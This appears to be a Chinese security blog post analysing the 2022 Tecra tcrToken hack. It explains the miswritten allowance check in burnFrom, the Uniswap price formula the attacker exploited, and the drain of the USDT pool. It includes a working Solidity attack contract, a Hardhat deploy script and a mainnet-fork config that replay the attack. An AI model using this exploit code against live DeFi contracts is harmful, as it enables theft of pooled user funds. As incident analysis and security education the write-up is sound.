可以销毁任意用户的tcrToken代币?听起来好像是损人不利已的鸡肋漏洞,黑客是如何搞到63.9万的USDT的呢?
tcrToken是Tecra公司发行的代币。Tecra是区块链创新型初创公司,公司参与影响世界数字化发展 的差异化业务和科学活动,期望通过独特的区块链解决方案努力解决与当前全球经济和21 世纪技术进步特别相关的问题。关于公司的去中心化交易系统的说明,可以参考https://tecra.space/files/Tecra_Space_Light_Paper_CN.pdf
此次的黑客攻击事件发生2022-02-04,黑客使用0.04个ETH(大约112个USDT)的成本,获得了63.9万个的USDT
。漏洞出现在于tcrToken合约
的burnFrom
函数中,主要原因是代码中销毁操作的前置判断条件出错,导致攻击者可以绕过判断,可以注销任意用户的tcrToken代币
。
可以销毁任意用户的tcrToken
代币?听起来好像是损人不利已的鸡肋漏洞,黑客是如何搞到63.9万的USDT的呢?
黑客通过销毁uniswap Pair合约(USDT对tcrToken)中的tcrToken的数量,从而控制USDT与 tcrToken的兑换比例,继而通过uniswap 的兑换出更多的USDT,这也是defi直接价格操纵
的经典手法。
攻击交易: https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154
tcrToken合约地址: https://cn.etherscan.com/token/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1?a=0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15#code
漏洞存在于tcrToken合约
的burnFrom
函数中,该函数本意是,将参数from地址的amount个tcrToken进行销毁。在函数入口处使用了require来确保from地址有对msg.sender进行了代币操作的授权,但该require语句存在bug。完成的函数代码如下:
function burnFrom(address from, uint256 amount) external {
require(_allowances[msg.sender][from] >= amount, ERROR_ATL);
require(_balances[from] >= amount, ERROR_BTL);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
_burn(from, amount);
}
require语句中,判断from地址给msgsender进行了足够的操作授权,应当使用_allowances[from][msg.sender]与amount进行比较,而原始代码中使用了_allowances[msg.sender][from]进行了比较,而_allowances[msg.sender][from]是msg.sender可以控制的。
正常的require的写法应该是:
require(_allowances[from][msg.sender] >= amount, ERROR_ATL); // 原始合约中这一句写错了,导致了bug的出现....
require(_balances[from] >= amount, ERROR_BTL);
_approve( from, msg.sender, _allowances[msg.sender][from] - amount); // 原始中这一句写错了....
原始合约中错误的写法是:
require(_allowances[msg.sender][from] >= amount, ERROR_ATL);
uniswap中价格计算公式如下:
$$ F(x)=(0.997x/(0.997x+Rx))*Ry $$
流动池中的代币假设为X和Y,其中
F(x)表示用户可以用 x 数量的代币 X 可以兑换出来的代币 Y 的数量。
RX:流动性池中代币X的余额
RY:流动性池中代币Y的余额
在本案例中,Pair合约的地址为: https://etherscan.io/address/0x420725a69e79eeffb000f98ccd78a52369b6c5d4#code
我们做个类比,
对应着上面公式中的X
对应着上面公式中的Y
那么,根据上面的公式,在池子中的Y的余额不变的情况下,只要池子中X的余额大幅减少(即Rx大幅减少),分母减少,会导致计算的结果增大
,也就是可以换出更多的Y(USDT)。
因此,攻击者通过2.1中的任意销毁漏洞,将流动性池中tcrToken的数量进行了销毁,从面使Rx的数量大幅减少,从而可以换得更多的USDT。
这种价格操纵方式为直接价格操纵
,通过通过执行非预期的交易来操纵AMM中LP池中的toekn的价格。
黑客的攻击流程如下:
如果使用blocksec分析的话,可以使用下面的地址配置
{
"0x0000000000000000000000000000000000000000": "Null Address: 0x000…000",
"0xe38b72d6595fd3885d1d2f770aa23e94757f91a1": "TCR",
"0x7a250d5630b4cf539739df2c5dacb4c659f2488d": "Uniswap V2: Router 2",
"0x420725a69e79eeffb000f98ccd78a52369b6c5d4": "Uniswap V2: USDT-TCR",
"0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852": "Uniswap V2: USDT",
"0xdac17f958d2ee523a2206206994597c13d831ec7": "USDT",
"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2": "WETH",
"0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee": "Ether",
"0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15": "AttackContract",
"0xb19b7f59c08ea447f82b587c058ecbf5fde9c299": "AttackEOA"
}
使用hardhat进行攻击过程复现。
使用 npx hardhat run scripts/deploy.ts --network hardhat
进行攻击过程复现,攻击复现时打印的攻击流程
日志如下:
攻击合约中主要在startAttack函数中完成攻击过程(黑客的攻击是在合约的fallback函数中完成的攻击,攻击复现中这点与原始的黑客攻击流程并不完全一致)。
startAttack函数的流程为:
兑换成TcrToken
.调用tcrToken合约的burnFrom漏洞函数
,将Uniswap的Pair中的tcrToken销毁,这将影响到USDT与tcrToken的兑换比例,完成销毁后,更少的tcrToken可以兑换出更多的USDT。兑换成USDT
。// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8;
// Import this file to use console.log
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/TetherToken.sol";
import "./interfaces/Uniswap.sol";
import "./interfaces/TcrToken.sol";
contract Attack {
address payable public owner;
address USDTAddr = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address TCRAddr = 0xE38B72d6595FD3885d1D2F770aa23E94757F91a1;
address RouterAddr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address PairAddr = 0x420725A69E79EEffB000F98Ccd78a52369b6C5d4;
address WETHAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor() payable {
owner = payable(msg.sender);
}
modifier onlyOwner(){
require(msg.sender == owner, "onlyOnner is allow");
_;
}
function kill(address addr) public onlyOwner {
selfdestruct(payable(addr));
}
function startAttack() public onlyOwner{
TetherToken USDT = TetherToken(USDTAddr);
TcrToken TCR = TcrToken(TCRAddr);
// 进行授权
USDT.approve(RouterAddr, MAX_INT);
TCR.approve(RouterAddr, MAX_INT);
TCR.approve(PairAddr, MAX_INT);
UniswapV2Pair pair = UniswapV2Pair(PairAddr);
// 将Attack合约中所有的ETH兑换成tcrToken
uint256 wethAmount = address(this).balance;
UniswapV2Router router = UniswapV2Router(RouterAddr);
uint256 amountOutMin;
address[] memory path = new address[](3);
path[0] = WETHAddr;
path[1] = USDTAddr;
path[2] = TCRAddr;
uint256 deadline = block.timestamp + 24 hours;
router.swapExactETHForTokens{value: wethAmount}(amountOutMin, path, address(this), deadline);
console.log("1.swap eth to tcrToken. %s ETH swap to %s tcrToken.", wethAmount, TCR.balanceOf(address(this)));
// 计算Pair合约中tcrToken的余额,用来评估可以销毁掉多少tcrToken
uint256 pairTcrBalance = TCR.balanceOf(PairAddr);
console.log("At begining, Pair Contract has %s tcrToken:", pairTcrBalance);
console.log("2. Call the Vulnerable burnFrom function.");
TCR.burnFrom(PairAddr, pairTcrBalance-100000000);
pair.sync();
console.log("3. Swap tcr for USDT.");
uint256 thisTcrBalance = TCR.balanceOf(address(this));
uint256 amountOut;
address[] memory path2 = new address[](2);
path2[0] = TCRAddr;
path2[1] = USDTAddr;
router.swapExactTokensForTokens(thisTcrBalance, amountOut, path2, address(this), deadline);
uint256 lastUsdt = USDT.balanceOf(address(this));
console.log("%s tcr swap to %s USDT", thisTcrBalance, lastUsdt);
console.log("4. Transfer %s USDT to hacker.", lastUsdt);
USDT.transfer(msg.sender, lastUsdt);
}
}
部署合约的脚本实现两个功能:
Attack合约
,并且给合约转入0.04个ETH.Attack合约
的startAttack函数
。import { ethers } from "hardhat";
import {TetherToken__factory} from "../typechain-types";
async function main() {
let Alice, AttackDeployer;
[Alice, AttackDeployer] = await ethers.getSigners();
const initAmount = ethers.utils.parseEther("0.04");
const Attack = await ethers.getContractFactory("Attack", AttackDeployer);
const attack = await Attack.deploy({ value: initAmount });
await attack.deployed();
console.log("attack with 0.04 ETH deployed to:", attack.address);
const USDTAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"
const USDT = TetherToken__factory.connect(USDTAddr, Alice)
console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));
await attack.startAttack();
console.log("AttackDeployer USDT balance:", await USDT.balanceOf(AttackDeployer.address));
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
一定要从14139081区块
进行fork。
import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";
const config: HardhatUserConfig = {
solidity:{
compilers: [
{
version: "0.8.2",
},
],
},
networks: {
hardhat: {
forking: {
url: "https://eth-mainnet.g.alchemy.com/v2/xxxxxxxx",
blockNumber: 14139081,
}
}
}
};
export default config;
_allowances的使用错误
。_allowances条件判断出错,导致可以任意销毁tcrToken代币,黑客通过销毁掉uniswap Pair合约中的代币,从而控制Pair合约的兑换比例,用少量的tcrToken代币兑换出大量的USDT,将Pair合约的池子掏空,实现获利。代币任意销毁漏洞并不是只能损人而不利已。
代币的任意销毁结合直接价格操纵成就了经典的defi攻击案例。https://dashboard.tenderly.co/tx/mainnet/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154/debugger?trace=0.4 https://cn.etherscan.com/tx/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154 https://tools.blocksec.com/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154 https://tecra.space/
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!